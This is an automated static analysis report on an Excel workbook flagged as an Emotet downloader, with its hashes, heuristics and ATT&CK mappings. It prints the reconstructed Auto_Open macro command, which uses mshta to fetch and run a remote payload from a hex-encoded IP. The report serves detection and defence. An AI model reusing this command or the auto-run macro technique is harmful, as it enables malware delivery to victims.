Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 1d497a791ac45c2b…

MALICIOUS

Office (OLE) / .XLSX

128.7 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: ad8f4fa6d31a23dbc610d3e19c0cb3ae SHA-1: 794b200466e08c1d12b0fa58ea67dbc0f89840d6 SHA-256: 1d497a791ac45c2b12cffd732c9c8f699a6c86d89f2db44ef3b890818b1e32dd
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Service Control T1204.002 Malicious File: User Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a strong indicator of malicious intent. The macro executes a command using `mshta` to download a second-stage payload from the URL `http://0xc12a24f5/cc.html`. The ClamAV signature also identifies this as Emotet. The macro attempts to obfuscate the command by using character escaping, but the reconstructed command is `cmd /c mshta http://0xc12a24f5/cc.html`.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes